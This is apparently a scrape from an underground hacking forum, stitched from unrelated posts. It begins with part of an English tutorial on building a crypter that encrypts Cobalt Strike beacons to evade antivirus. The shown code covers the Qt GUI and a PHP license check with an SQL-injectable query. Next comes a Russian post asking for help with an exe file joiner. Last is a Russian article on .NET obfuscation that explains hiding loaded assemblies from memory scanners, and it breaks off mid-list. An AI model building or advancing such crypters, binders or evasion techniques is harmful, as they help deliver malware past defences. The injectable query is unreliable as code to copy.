The Web server using php will handle the logging data that came from the Gui and return the Status.

Also as I said before will handle the uploaded UnEncrypted cobalt strike beacon then encrypt it using MSBuild ( MSBuild will build our c++ project ) and return the Download Link to the Gui Which will download the Encrypted stub to the Path selected by the User
Stage 3: The last stage is the Encrypted stub which will store the encrypted beacon on it as an unsigned char than in the main() function.

We will use some techniques to hide the IAT import address table Also this section will be discussed in its stage.

Here is what iam using tools and languages to develop the Crypter

I will use CobaltStrike version 4.8 as a C2 you can use any other framework like Metasploit

#What Skills do you need to continue reading and learning from this tutorial?

1 - Just c/c++ Language (Visual studio c++)
2 - Gui (Qt C++) If you don’t have any idea or skills to use Qt don’t worry I explained everything in the tutorial
3 - php but if you are familiar with Python or NodeJs you could also use them if you want

Download Wampserver and install it on your Windows server

Let's start with the GUI

Please first Download Qt6 c++ version 6.5.2 that’s the version iam using Right now.

If you already have Qt installed then launch it up and create a new project and make sure the selected compiler is x64

This is the main window it should look like this.
pasted image 1.png

The project came with a default Mainwindow.ui, We need to add a new Qt class from design to generate a new window for login.

Scenario: I guess you already know that Paid software always comes with a serial key Window before you can use the software, so when you enter the license Key then you can use the software. It's like a protection to Force people to pay for the developer before they can use their software.

The Project by Default If we build it and run it will show up in the Mainwindow by default, but we want to work on the Loginform window so to show the LoginForm window go to main.cpp and comment w.show() and add the following code

C++:Copy to clipboard

LoginForm loginform;
loginform.show();

The code above will create an object from the Loginform class and then use the function show() to show the Window of the Loginform.

Now on The left Under Welcome Click Edit then right-click on The Main project, and now click on Add New, After that, it will show a new window to choose a type of file to add to the project, Double Click on Qt Designer From Class then Double Click on MainWindow But warning as you remember the project came with default window name Mainwindow so make sure to change the new one , I prefer to name it as his job the Job of the new Window to make sure the user has a Serial Key and He Paid to use the Software.

So I named it LoginForm.

Now delete, Menubar and Statusbar and should look like this, The reason we want to delete the menubar and status bar because we want to make our custom title bar
pasted image 2.png

Now in LoginForm Go to property and search for geometry and click on Change the Width and height to the Following Sizes.

Width: 400
Height: 266

Now in the left corner search for Qwdigets and drop 4 widgets.

The first Widget is for the Mainwindow and the second Widget is for the LoginBox which will hold input and QEditLabel and QPushButton, The third Widget will be for the Custom title bar and the Fourth and last one is for the Footer which will hold the name of the Developer.

Change the sizes And X, Y of the MainWidget and make the sizes as the MainWindow of LoginForm.

Width: 400
Height: 266
X: 0
Y: 0

This is what it looks like
pasted image 3.png

Now the Second LoginBox qWidget Change the sizes and X, and Y to the following data.

Width: 351
Height: 121
X: 25
Y: 60

Title Bar qWidget geometry data.

Width: 400
Height: 21
X: 0
Y: 0

Footer qWidget geometry data.

Width: 400
Height: 31
X: 0
Y: 232

Now search for QPushButtons and drop 1 QPushButton to TitleBar and 2 QPushButton to LoginBox, also Search for QLineEdit and drop one to LoginBox qWidget.

Change the text of QPushButtons on LoginBox and make one License Key and the other one Login

Also, change their names from Property in the right corner
Name the Login button as login_button and name the License Key button as
LicenseKeyLabel and name the QLineEdit as LicenseKey

Now time to change the sizes and geometry.

login_button

Width: 261
Height: 24
X: 40
Y: 70

LicenseKeyLabel :

Width: 101
Height: 24
X: 40
Y: 30

LicenseKey

Width: 151
Height: 24
X: 150
Y: 30

Result :
pasted image 4.png

Now Click on QPushButton on the title bar and remove the text and name it as close_button

Let us now change the style of the Login Form, first of all, go to loginform.cpp

In QMainWindow add the following code

C++:Copy to clipboard

  this->setWindowFlags(Qt::WindowType::FramelessWindowHint);
    setAttribute(Qt::WA_TranslucentBackground, true);

The code we wrote above will change the background to transparent and make the no frame or frameless for the window.

So when we add color and border radius to the main qWidget it applied and enabled other than we can’t see the border-radius also the default title bar will be visible.

Now go back to designer and right click on QMainWindow or LoginForm and Choose Change StyleSheet.

Add the following code in the Pop upped box Make Sure you named the Main qWidget to MainWidget.

CSS:Copy to clipboard

*
{
    font-family:Arial;
    font-weight: Bold;
}
#MainWidget
{
    background-color:#f5f6fa;
    border-radius:5px;
}

If you know CSS you will understand the code, but if you don’t the code Above we added, Simply change the Default font family, font weight, add the background color, and finally add border-radius which makes the borders and corners rounded

The result is in the image below.
pasted image 5.png

Go back again to the stylesheet and again add this new code.

CSS:Copy to clipboard

#close_button
{
    background-color:#ff5252;
    border:0px;
    color:#fff;
    border-radius:7px;
}

#close_button:hover
{
    background-color:#b33939 ;
}

The code simply changes the radius for the close_button and adds color and on Hover changes the color.

Now Click on the close_button then in the right corner search for geometry and change the geometry data and sizes for close_button

close_button

Width: 16
Height: 16
X: 380
Y: 4

Result :
pasted image 6.png

Attention: You can use your own colors.

Now it's the time to play with input colors, Get Back again to the stylesheet again add this new code
This will be the final stylesheet css code .

CSS:Copy to clipboard

#login_button,#LicenseKeyLabel
{
    background-color:#2c2c54;
    color:#f5f6fa;
    border:0px;
    border-radius:7px;
}

#LicenseKey
{
    border:0px;
    border-radius:7px;
    color:#2c2c54;
}

Build and run the project, and the result is seen in the picture below.
pasted image 7.png

Close the Crypter and get back to Designer now Righ click on the close_button Then click on Go to slots and choose Clicked slot then Press the OK button, It should take you to LoginForm.cpp
Inside void on_close_button_clicked write the following Code.

C++:Copy to clipboard

 this->close();

Rebuild the project and Launch it again now when the Project opens click on the close button it should close the login window.

Now the Title bar is finally finished, but we have a problem We can’t move the Window because we deleted the default title bar so To fix this problem we need to add 2 mouse events first one is
mousePressEvent and the second one is mouseMoveEvent

To do that go to loginform.h scroll down to Private: , then add the following code

C++:Copy to clipboard

[/FONT]
    void mousePressEvent(QMouseEvent *event);
    void mouseMoveEvent(QMouseEvent *event);
    QPoint current_position;
    QPoint new_position;
[FONT=arial]

When you finish go to loginform.cpp and add the following code

C++:Copy to clipboard

void LoginForm::mousePressEvent(QMouseEvent *event)
{
    current_position =event->globalPosition().toPoint();
}

void LoginForm::mouseMoveEvent(QMouseEvent *event)
{
    new_position = QPoint(event->globalPosition().toPoint() - current_position);
    move(x() + new_position.x() , y() + new_position.y() );
    current_position = event->globalPosition().toPoint();
}

Now rebuild the Project and click on the loginform window and move, as You can see how you can move it on screen as you want

Let's explain the code.

mousePressEvent: This function is very simple it only gets the current position and converts it to Point

mouseMoveEvent: It gets the new position then minus it from the old current position and then uses the value to move the window

Now here is a complex step so to understand it very well please pay attention.

So as you know we have 2 windows 1 is the Login window and the second window is the crypter MainWindow.

To Show the MainWindow from Loginform we need to create a signal inside Loginform.h and also create an on_click slot on Login Finally we connect the signal and mainwindow using Connect from Main.cpp

To create the on-click event go to Designer and Right click on the login_button then click on go to slot From QAbstractButton choose clicked() then Ok

To create the Signals in the LoginForm Class add the Signal the codes for Signal are Down below.

C++:Copy to clipboard

signals:
    void LoginSignal(bool status);

This code for the Login Button

C++:Copy to clipboard

    if(ui->LicenseKey->text() == "1")
    {
        QMessageBox::information(this,"Success ","Login Success");
        emit LoginSignal(true);
        this->close();
    }
    else
    {
        emit LoginSignal(false);
        QMessageBox::critical(this,"Error ","Wrong Licesne Key");
    }

For now, we only make the SerialKey static but Don’t worry we will make it Dynamic Soon when we come to the Server Authentication Part so we will get back to here soon.

go to Main.cpp and the connect code

C++:Copy to clipboard

    LoginForm loginform;
    loginform.show();

    QObject::connect(&loginform, &LoginForm::LoginSignal, [&w](bool statusStatus)
    {
        if(statusStatus == true)
        {
            qDebug() << "Status : " << statusStatus << " \n";
            w.show();
        }
    });

Now Compile the Project and try to add an Incorrect Serial Key and should see this error message
pasted image 8.png

Now try to relaunch the program but this time add the real serial key they will show a success message Then when you click ok it will exit the login Window and show the Main Crypter Window.
pasted image 9.png

Ok woohoo, we almost finishing the Gui .!
Now it's time to start with the MainWindow, so Click on Edit Again Then Click on mainwindow.ui

Now delete the Menubar and Statusbar as we did before …. Don’t get confused this is the MainWindow, not the LoginWindow so everything we do in the login window is still saved so don’t worry about the Empty Window.

and should look like this
pasted image 10.png

Resize the mainwindow make the width: 714 and the height: 356, then
Search for qWidget and add 4 of them, First qWidget will act as MainWindow and it will hold everything and you will see that soon, One for the Custom title bar, and One for the Inputs and buttons, and the last one for the footer.

The mainWindow should be like this.
pasted image 11.png

Now on the center qWidget click on it with your mouse and go to geometry in the right corner as you see in the picture above and add the width and height and the x, and y like the following.

Width: 714
Hight: 356
X : 0
Y : 0

Now on the Top left qWidget click on it with your mouse and do the same as the last step

Width: 714
Hight: 40
X : 0
Y : 0

And now it should look like this.
pasted image 12.png

Finally, name it titlebar.

Now Click on the Bottom left of one qWidget and go to geometry again and put the following data :

Width: 714
Hight: 31
X : 0
Y: 320

Name it as a footer, should be like the image below.
pasted image 13.png

Now the last Qwidget, this qWdiget will hold the inputs, labels, and buttons
Click on it and also do the same as before by filling in the geometry and name object with the below data.
objectName: Main
Width: 481
Hight: 201
X: 120
Y: 70

The result for the last steps
pasted image 14.png

Now drop two QPushButtons to the title bar and Four QPushButtons for the Main qWidget then drop three QLineEdit also to Main qWdiget

On the title bar name the first QPushButton as close_button and the second name it as minimise_button and remove the default text.
pasted image 15.png

The main window should be like this.

Now go to main qWdiget and edit the three buttons and three qLineEdit, change their names and geometry data as follows

1 - Choose stub: This is a button to choose the file you want to crypt

Name: choose_stub
Geometry data :
Width: 151
Hight: 24
X: 20
Y: 20

2 - Save encrypted stub: This is a button to where to save the final encrypted stub ( The crypt ).

Name: save_encrypted_stub
Geometry data :
Width: 151
Hight: 24
X: 20
Y: 50

3 - Pharse: This is a button to acts as a Label that tells you where to write the phrase or password

Name: pharse_button
Geometry data :
Width: 151
Hight: 24
X: 20
Y: 80

4 - Encrypt stub: This is a button When you Click it will run the crypting Code

Name: encrypt_button
Geometry data :
Width: 441
Hight: 24
X: 20
Y: 120

Now the QLineEdit.

1 - Selected File Path: Here will show the path of the stub you want to encrypt

Name: selected_file_path
Geometry data :
Width: 281
Hight: 24
X: 180
Y: 20

2 - Saved file path: Here will show the path of the encrypted stub

Name: saved_file_path
Geometry data :
Width: 281
Hight: 24
X: 180
Y: 50

2 - Pharse: Here will Enter the Pharse ( password )

Name: phrase
Geometry data :
Width: 281
Hight: 24
X: 180
Y: 80

The result should now be like this
pasted image 16.png

pasted image 17.png

Now, we will Remove the Default title bar by adding a frameless and transparent background to the mainwindow
To do that go to mainwindow.cpp
And add the following code to the MainWindow

C++:Copy to clipboard

    this->setWindowFlags(Qt::WindowType::FramelessWindowHint);
    setAttribute(Qt::WA_TranslucentBackground, true);

Compile the code Note: You can use the shortcut Ctrl + R to build and launch the exe
pasted image 18.png

The transparency will give us the ability to make the border-radius.

Now get back to the Designer and Right click on Mainwindow in the right corner
And choose Change stylesheet, it will pop up a small window in this window we can add style to the window and components on the window such as buttons, qlabels, qwidgets, etc …

Now add the following code to this will add background color, change the default font, add a border-radius, and change font weight Also will style the QPushButton, QlineEdit

CSS:Copy to clipboard

*

{

    font-family:Arial;

    font-weight: Bold;

}

#Main

{

    background-color:#f5f6fa;

    border-radius:5px;

}



/**/



#close_button

{

    background-color:#ff5252;

    border:0px;

    color:#fff;

    border-radius:7px;

}



#close_button:hover

{

    background-color:#b33939 ;

}



#minimise_button

{

    background-color:#33d9b2;

    border:0px;

    color:#fff;

    border-radius:7px;

}



#minimise_button:hover

{

    background-color:#218c74;

}



#choose_stub ,  #encrypt_button, #pharse_button , #save_stub_button

{

    background-color:#2c2c54;

    color:#f5f6fa;

    border:0px;

    border-radius:7px;

}



#selected_file_path , #saved_file_path, #pharse

{

    border:0px;

    border-radius:7px;

    color:#2c2c54;

}



#dev

{

    color:#ff5252;

    font-size:15px;

}

#footer_lb_1

{

    color:#ffb142;

    font-size:15px;

}

The result is shown in the picture below.
pasted image 19.png

Now Will make the MainWindow also Dynamic as we did before in LoginForm.

Will first start with the title bar go to Designer and right click on the close_button then choose Go to Slot and choose Clicked then click on OK. Again go to Designer and this time Right click on the minimise_button choose Go to Slot and choose Clicked then click on OK.

Automatically will take you to Mainwindow.cpp on on_close_button_clicked()

Add the following code

C++:Copy to clipboard

this->close();

And on the on_minimise_button_clicked() Add the following code

C++:Copy to clipboard

this->showMinimized();

The code below is very simple when we click on close_button we simply close the Window

And on the minimise_button we used showMinimized to minimize the window without closing it

We could also add a maximize button to make the window fullscreen but I see there is no reason to do that, but you can use this function showMaximized if you want it.

Let's add a QMouse event to control the mouse and add the ability to move the MainWindow

To do that Just repeat the past steps that we did before for the LoginWindow

To make it easier for you, go to Mainwindow.h and in private add the following code.

C++:Copy to clipboard

[/FONT]

    void mousePressEvent(QMouseEvent *event);
    void mouseMoveEvent(QMouseEvent *event);
    QPoint current_position;
    QPoint new_position;
[FONT=arial]

Then go to MainWindow.cpp and add this code

C++:Copy to clipboard

[/FONT]
void MainWindow::mousePressEvent(QMouseEvent *event)
{
    current_position =event->globalPosition().toPoint();
}

void MainWindow::mouseMoveEvent(QMouseEvent *event)
{
    new_position = QPoint(event->globalPosition().toPoint() - current_position);
    move(x() + new_position.x() , y() + new_position.y() );
    current_position = event->globalPosition().toPoint();
}

[FONT=arial]

I will not explain it again, but you can read the tutorial again if you miss the explanation on the Top

Rebuild the project and now you should be able to move the window as you want

Okay, click on these three buttons one by one and add a click slot, like we do in the last step

Choose_stub,save_stub_button,encrypt_button.

Now every button has on Clicked slot except the pharse_button We use this button as a label and not need to be clickable

Go to MainWindow.cpp on top under Library include add these variables.

C++:Copy to clipboard

QString stub_path;
QString encrypted_stub_path;
QString Pharse;
int GlobalStatus = 0;

scroll until you find the function Choose_stub This function will use it to get the path of the stub that we want to encrypt and will save the path in the Global variable that we added in the code above.

Add this code inside the choose_stub button function name should be something like this: on_choose_stub_clicked

C++:Copy to clipboard

  stub_path = QFileDialog::getOpenFileName(this,"Select stub",QDir::homePath());
    ui->selected_file_path->setText(stub_path);

Now in the save button as I said before this button to select the path where we want to save the final encrypted file.

Add this code inside the function

C++:Copy to clipboard

    encrypted_stub_path = QFileDialog::getSaveFileName(this,"save encrypted stub to ...",QDir::homePath(),"Exe files (*.exe);;");
    ui->saved_file_path->setText(encrypted_stub_path);

The codes 2 above are very simple.

First, we QFileDialog and getOpenFileName to get the filename and path that we want to encrypt

Second, we used QFileDialog and getSaveFileName to get the path and name of the file we want to save (Encrypted file)

The last Button is very important go to the function and add this code

C++:Copy to clipboard

    if(!stub_path.isEmpty() || !encrypted_stub_path.isEmpty() ||  !ui->pharse->text().isEmpty())
    {

    }
    else
    {
        QMessageBox::critical(this,"Error"," Please make sure all inputs are not Empty");
    }

If you are familiar with c++ or any other programming language you should understand it easily we are only checking if the inputs are not empty meaning,

If a user tries to click Encrypt without entering any of the required data like phrase or stub path or save path, will show a warning message without doing anything else

Wohoo We finished all the Gui and styling the GUI

But I will not finish PART 1 here I wanna give you some agitational without going Advanced,

So let us finish up the Authentication System.

To do that install Wamp server or any other webserver

Create a folder named it crypter create a file named it auth.php, Open it up with your favorite editor, and add this code.

PHP:Copy to clipboard

<?php

    error_reporting(0);

    $host = "127.0.0.1";
    $user = "root";
    $pass = "";
    $db   = "crypter";

    $connect = mysqli_connect($host, $user, $pass,$db);

    if (!$connect)
    {
        die("Connection failed: " . mysqli_connect_error());
    }
    else
    {
        $serial_key = strip_tags($_GET["serial_key"]);
    

        
        $search_in_db = "SELECT serial_key FROM paidmember WHERE  `serial_key`='$serial_key' ";//ba27-1c3a-4b91-a4b7-87fa
        $result       = mysqli_query($connect,$search_in_db);

        if(mysqli_num_rows($result) >= 1)
        {
            //echo "$serial_key <br/>";
            echo "Registered";
        }
        else
        {
            echo "NotRegistered";
        }

    }


?>

Done, We Have finished the php code for the authentication,

Now create a new database, then create 1 table with 3 columns.

1 - id

2 - serial_key

3 - hwid

Make the ID auto increment. then press Save.

Now add a random serial I used this ba27-1c3a-4b91-a4b7-87fa , added random hwid I used this random HWID 03000102030405060708090a0b0c0d0e0f .

The HWID will use it to lock the serial for 1 PC so if the user shares the serial with another user to avoid paying the developer so he can’t be logged in.

Now replace the dbname,dbuser,dbpass, and dbhost.

As you can see we used the Get method which means we can use the browser to check if it works or not. to do that open your browser and add your localip/filepath/auth.php?serial_key=the_serial_key_you_add_in_db

If the code is working should print Registered if the serial is true and UnRegistered if the serial is false.

Close the php Editor and go back again to qt editor go to loginform.h

And add the following code

C++:Copy to clipboard

    void onfinish(QNetworkReply *rep);

Then go to Loginform.cpp and remove this code

C++:Copy to clipboard

    if(ui->LicenseKey->text() == "1")
    {
        QMessageBox::information(this,"Success ","Login Success");
        emit LoginSignal(true);
        this->close();
    }
    else
    {
        emit LoginSignal(false);
        QMessageBox::critical(this,"Error ","Wrong Licesne Key");
    }

and add this code.

C++:Copy to clipboard

void LoginForm::onfinish(QNetworkReply *rep)
{
[/FONT]
    QByteArray ReadedBytes = rep->readAll();
    QString string_Body(ReadedBytes);
    qDebug() << "Replay : \n" << string_Body;

    if(string_Body == "Registered")
    {
        QMessageBox::information(this,"Success ","Login Success");
        emit LoginSignal(true);
        this->close();
    }
    else if (string_Body == "NotRegistered")
    {
        emit LoginSignal(false);
        QMessageBox::critical(this,"Error ","Wrong Licesne Key");
    }
[FONT=arial]
}
void LoginForm::on_login_button_clicked()
{[/FONT]
    qDebug() << "Login button Clicked \n";
    QString AUTH_URL  = "http://192.168.0.100/crypter/auth.php?serial_key=";
    QString Serial_Key = ui->LicenseKey->text();
    AUTH_URL.append(Serial_Key);
    qDebug() << AUTH_URL;
    QUrl url(AUTH_URL);
    QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
    connect(ntmanager,&QNetworkAccessManager::finished,this,&LoginForm::onfinish);
    ntmanager->get(QNetworkRequest(url));
[FONT=arial]}

Explaining the code:

What we did in loginform.h we create a custom slot to check when the request is finished without crashing the GUI.

In Loginform.cpp we removed the Static serial key and will create a dynamic one so we add the URL of our auth.php read the Serial entered by the user and store it in the QString variable under the name Serial_Key, then append it to AUTH_URL to have the full Url finally, we create an instance from the class QNetworkAccessManager and create an http get request and from the previous slot onfinish we Read the body and making if statement to check the body if the body is Registered that means the SerialKey is true other than its false

I recorded for you a video showing what we finished

So for today and for this part that’s all.

I Will add new part ASAP

Проблемы с джойнером
ID: 6765d804b4103b69df37578c
Thread ID: 32330
Created: 2019-10-07T17:54:24+0000
Last Post: 2023-09-25T17:44:42+0000
Author: Matanbuchus
Replies: 6 Views: 2K

Нашел на гите вот такие исходники джойнера

You must have at least 12 reaction(s) to view the content.

Если клеить файлы типа exe+jpg или exe+txt то клеит и запускает оба файла нормально а если клеить файлы типа exe+exe то запускает только один файл обычно тот который указываеться в роли шелл кода. Я пытался разобраться в проблеме самостоятельно и дебажил и несколько дней гуглел но так и не смог найти решение проблемы. Очень надеюсь на помощь так как этот проект для меня действительно важен. P.S прошу по теме без флуда.

Дотнетовская кулинария (часть 1)
ID: 6765d804b4103b69df3757a3
Thread ID: 88592
Created: 2023-05-22T11:42:03+0000
Last Post: 2023-08-30T06:24:59+0000
Author: DildoFagins
Prefix: Статья
Replies: 15 Views: 2K

meme.png

Привет, кулхацкеры! Давненько у меня просили статью ~~о том как приготовить~~ по обфускациям этих ваших дотнетов, а у меня все руки никак не доходили. Но пора это исправить, так ведь? Я долго думал о том, как представить эту темку в удобоваримом формате, чтобы осветить всю базовую матчасть, необходимую для понимания того, что, собственно, происходит в обфускаторах дотнетов. Мы не будем рассматривать элитные приваты, но сконцентрируемся на информации, которая доступна в паблике, и на которой можно и нужно учиться. В последствии, после того как мы рассмотрим тот или иной алгоритм, я дам пару подсказок и советов о том, как улучшить алгоритм из паблика. Готовой и неготовой инфы получилось как то многовато, в итоге я решил разбить статью на три части, но надеюсь, у меня всё это выйдет нормально. Ну поехали с первой погружательной частью...

Содержание (часть 1):​

1. Такие странные дотнет-сборки.
2. Кто вставил Forth внутрь дотнета?
3. Что в имени тебе моем?

В предвкушении будущих частей:​

4. Мои константы — мое богатство.
5. Неполноценный антидамп.
6. Размажь мой контроль.
7. Пират по прозвищу Джит-Крюк.
8. Такой динамический инвок.
9. Эй, пёс, я вставил ВМ в ВМ...

1. Такие странные дотнет-сборки.

Многие из вас, наверняка, знают, что в Венде исполняемый файлы (программы), динамические библиотеки и тому подобное принято содержать в специальном формате файлов, который носит незамысловатое название «Portable Executable» (он же PE). Но для некоторых людей, как показала практика, не всегда очевидно, что в PE-файлы (помимо исполняемого нативного кода) можно напихать разных странных вещей. Собственно, так и происходит, когда компилируются дотнет- программы из самых разных языков программирования, таких как C#, F#, VB.NET и других. Программа или динамическая библиотека в мире дотнетов носит название «сборка» (она же Assembly) и от традиционных исполняемых файлов в ней остается как говорится «х#й, да ни хуя» (с). Конечно, сборка может иметь прямо внутри себя фрагменты нативного кода, но такую «эзотерику» мы сегодня рассматривать не будем. Обычно в PE-файле сборки присутствует только миниатюрный стаб, который запускает эти ихние дотнеты в текущем процессе и интегрирует в них код, который не имеет к нативному коду никакого отношения чуть более, чем полностью.

С этого момента давайте поподробнее. Дотнет сборка представляет собой набор таблиц мета-данных, элементы которых ссылаются друг на друга с помощью токенов, которые на самом деле ни что иное, как идентификатор таблицы и номер строки в этой таблице, забитые в байты одного 32-битного числа. Такой набор таблиц стандартизирован и всегда имеет примерно один и тот же вид. Обычно он заботливо запихан внутрь секции «.text» формата PE-файлов, но теоретически он может лежать в любой из секций PE-файла, лишь бы она обладала правами на чтение (такое никогда не встречается, но возможно). Технические детали того, как организованы таблицы мета-данных, для понимания дотнет обфускации не так критичны, важно только знать, что все дотнетовские вещи так или иначе будут находиться в этих таблицах.

Логически же дотнет-сборка имеет вид древовидной структуры, а вот понимать ее как раз может оказаться довольно полезным. Во главе (корнем дерева) стоит сама сборка (Assembly). У сборки может быть один или несколько модулей (Module), хотя чаще всего в одной сборке один модуль. Каждый модуль может содержать один или несколько типов (Type), тип же в свою очередь может быть классом (Class), интерфейсом (Interface), перечислением (Enum) и так далее. Чуть ниже, например, классы могут иметь методы (Method) и поля (Field), которые могут быть статическими (Static) и объектными (Instance). Забавно, но, например, на низком уровне классы не имеют свойств (Properties), как отдельных сущностей, они физически реализованы через поля и методы с префиксами «get_» и «set_» для геттеров и сеттеров соответственно. А тип делегата (Delegate) на самом деле является классом с определенным набором методов. Создание таких обвязок является задачей конкретного компилятора (в мире дотнетов это - чаще всего компилятор языка C#, но не стоит забывать, что есть еще и VB.NET, F#). В свою очередь методы могут иметь или не иметь «тела» (CILBody) и аргументов вызова (Parameter). Тело метода может иметь локальные переменные (LocalVariable), обработчики исключений (ExceptionHandler) и набор инструкций MSIL-кода (Instructions). А каждая инструкция имеет размер, тип и операнд в том случае, когда он необходим этой инструкции. Операндом инструкции на низком уровне может быть константа или тот самый токен, о котором мы говорили чуть ранее (за исключением инструкции «switch», которая операндом принимает список смещений, и она, если честно, довольно ебанутая, как по мне).

one.png

Об MSIL/CIL-коде мы поговорим чуточку позже, а пока поподробнее рассмотрим логическую структуру дотнет-сборок. Каждый элемент в такой древовидной структуре имеет набор различных свойств. Например, у класса есть имя (Name) и пространство имен (Namespace), причем пространство имен не является древовидной структурой, это просто строка, в которую можно напихать точек, чтобы предать этой строке какую-то иерархию. Класс может быть публичным (Public) или внутренним (Internal), статическим (Static), абстрактным (Abstract), вложенным в другой класс и так далее. Все эти аспекты сущности класса так или иначе описаны в его свойствах в таблицах метаданных. Описывать все аспекты вряд ли является целесообразным, в статье мы коснемся только тех из них, которые необходимо знать для базового понимания того, как работают алгоритмы обфускации дотнетов.

Говоря о странностях дотнет сборок, нельзя не упомянуть о такой забавной и иногда полезной особенности… Дотнет сборки могут иметь один из четырех флагов, назовем их «флагами архитектуры»: x64, x86, AnyCpu и AnyCpu 32-bit preffered. Если установлен флаг x64, то сборка будет запускаться как 64-битный процесс всегда (и не будет запускаться на 32-битных системах). Если установлен флаг x86, то сборка всегда будет запускаться как 32-битный процесс, как на 64-битной операционной системе, так и на 32-битной. Если установлен флаг AnyCpu, то сборка запускается как 64-битный процесс на 64-битной системе, и как 32-битный процесс на 32-битной системе. Этот флаг уже дает нам (не очевидное изначально) преимущество в том плане, что не нужно изъебываться всякими хевенсгейтами, чтобы оказаться в 64-битном режиме на 64-битной системе, при этом прекрасно работая на 32-битной системе. Механизм того, как это реализовано мелкомягкими довольно забавен, почитать о нем подробнее можно тут: <https://debugandconquer.blogspot.com/2015/04/the-relationship-between- net-and.html?m=1> — кто бы знал, что загрузчик PE-файлов операционной системы вполне себе может «переобуть» процесс из 32-битного в 64-битный. Кастую призыв моих «ядерных-бро» varwar и atavism, возможно им будет это интересно (я юзер-модный хомячок, за ядро не то чтобы шарю, поэтому от меня не спрашивайте глубоких подробностей об этом)…

И еще один забавный факт про дотнетовские сборки. При старте нового процесса исполняемый файл загружается в виртуальную память по всем привычным правилам, то есть настраиваются секции (включая атрибуты доступа к ним), таблица импорта и так далее, как это происходит с нативными PE-файлами. Но когда мы, допустим, с помощью Assembly.Load загружаем из памяти другие дотнет-сборки, то никаких обычных для PE-файлов настроек не происходит. Загруженные таким образом сборки лежат в памяти так же в виде массива, идентичного тому, что был передан в Assembly.Load. Более того, настройка атрибутов доступа к памяти тоже не происходит, и этот байтовый массив лежит на страницах с доступом на чтение/запись (без доступа на исполнение). Флаг исполнения оказывается «не нужон» (с), если в сборке отсутствует нативный код, а есть только MSIL. Такое поведение дает нам еще одно (не очевидное) преимущество с точки зрения сканеров памяти. Так как, если затереть ряд заголовков и типичных для PE- формата вещей (при этом ничего не поломав), то загруженная сборка будет внешне выглядеть в памяти, как данные, а не как исполняемый файл. Конечно, сканеры памяти тоже успели поесть говна с этим и умеют до определенной степени успеха такие вещи определять, а также ETW может дать им посказочку о том, что этот буфер - сборка, но сам факт, что такая возможность есть, немножко да греет душонку малварщика.

Для чтения, модификации и записи таблиц метаданных на высоком уровне существует несколько библиотек: Mono.Cecil, dnlib, AsmResolver (все три библиотеки написаны на С# и предоставляются в виде дотнет-библиотеки классов) и DotNetPeLib (библиотека на С++, но я ей никогда не пользовался, ничего не могу сказать). Из всех библиотек в своих проектах я предпочитаю использовать AsmResolver, поскольку помимо в некоторых аспектах более качественной поддержки метаданных дотнетов, она еще имеет хороший набор функционала для манипуляции непосредственно PE-форматом. Как мы в дальнейшем увидим, многие из публичных проектов обфускаторов будут использовать dnlib. API этих библиотек довольно похожи друг на друга и пересесть с одной библиотеки на другую не составит большого труда (я начинал с использования Mono.Cecil, потом без проблем пересел на dnlib, а уже потом моё сердечько целиком и полностью завоевал AsmResolver, который я стал использовать для многих вещей, даже иногда не связанных с дотнетами). Указанные библиотеки можно найти по следующим ссылкам:

github.com

[ GitHub - jbevain/cecil: Cecil is a library to inspect, modify and

create .NET programs and libraries. ](https://github.com/jbevain/cecil)

Cecil is a library to inspect, modify and create .NET programs and libraries.

  • GitHub - jbevain/cecil: Cecil is a library to inspect, modify and create .NET programs and libraries.

github.com github.com

github.com

[ GitHub - 0xd4d/dnlib: Reads and writes .NET assemblies and modules

](https://github.com/0xd4d/dnlib)

Reads and writes .NET assemblies and modules. Contribute to 0xd4d/dnlib development by creating an account on GitHub.

github.com github.com

github.com

[ GitHub - Washi1337/AsmResolver: A library for creating, reading and

editing PE files and .NET modules. ](https://github.com/Washi1337/AsmResolver)

A library for creating, reading and editing PE files and .NET modules. - GitHub - Washi1337/AsmResolver: A library for creating, reading and editing PE files and .NET modules.

github.com github.com

github.com

[ GitHub - LADSoft/DotNetPELib: A C++11 library used to create a managed

program (CIL) and dump to either .IL, .EXE, or .DLL format ](https://github.com/LADSoft/DotNetPELib)

A C++11 library used to create a managed program (CIL) and dump to either .IL, .EXE, or .DLL format - GitHub - LADSoft/DotNetPELib: A C++11 library used to create a managed program (CIL) and dump t...

github.com github.com

Мы с вами будем рассматривать несколько доступных в паблике обфускаторов, которые так или иначе реализуют один или несколько типичных аспектов обфускации дотнетов. Хорошо каждый конкретный аспект сделан или нет тут скорее не важно, поскольку я предполагаю, что погружаясь в тему обфускации вы будете делать свою собственную реализацию аспектов «с преферансом и куртизанками» (с). Помните, что все, что доступно в каком-то виде в паблике, уже палится большинством аверов, или начнет палиться, когда скрипткиддисы его окончательно задрочат. Поэтому я — своего рода приверженец кастомных приватных тулзов, однако учиться на публичных проектах на мой взгляд совершенно не грешно. Для вас и этой статьи я отобрал следующие проекты, в исходный код которых мы будем заглядывать в процессе всех частей:

github.com

[ GitHub - yck1509/ConfuserEx: An open-source, free protector for .NET

applications ](https://github.com/yck1509/ConfuserEx)

An open-source, free protector for .NET applications - GitHub - yck1509/ConfuserEx: An open-source, free protector for .NET applications

github.com github.com

github.com

[ GitHub - obfuscar/obfuscar: Open source obfuscation tool for .NET

assemblies ](https://github.com/obfuscar/obfuscar)

Open source obfuscation tool for .NET assemblies. Contribute to obfuscar/obfuscar development by creating an account on GitHub.

github.com github.com

github.com

[ GitHub - Elliesaur/TinyJitHook: Example JIT Hook for .NET FW/Core.

](https://github.com/Elliesaur/TinyJitHook)

Example JIT Hook for .NET FW/Core. Contribute to Elliesaur/TinyJitHook development by creating an account on GitHub.

github.com github.com

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F9bf3068b31c6c7801633901cf98ae85c7f2f96c39d5694852c12b867402de31b%2Fhexck%2FHex- Virtualization&hash=439ee82ebc35aef0f5a03461a2233ac8&return_error=1)

[ GitHub - hexck/Hex-Virtualization: .NET Virtualization made in C#

](https://github.com/hexck/Hex-Virtualization)

:guardsman: .NET Virtualization made in C#. Contribute to hexck/Hex- Virtualization development by creating an account on GitHub.

github.com github.com

github.com

[ GitHub - TobitoFatitoRE/MemeVM: A small virtualizer for .NET which

works together with ConfuserEx ](https://github.com/TobitoFatitoRE/MemeVM)

A small virtualizer for .NET which works together with ConfuserEx - GitHub - TobitoFatitoRE/MemeVM: A small virtualizer for .NET which works together with ConfuserEx

github.com github.com

github.com

[ GitHub - TheWover/DInvoke: Dynamically invoke arbitrary unmanaged code

from managed code without PInvoke. ](https://github.com/TheWover/DInvoke)

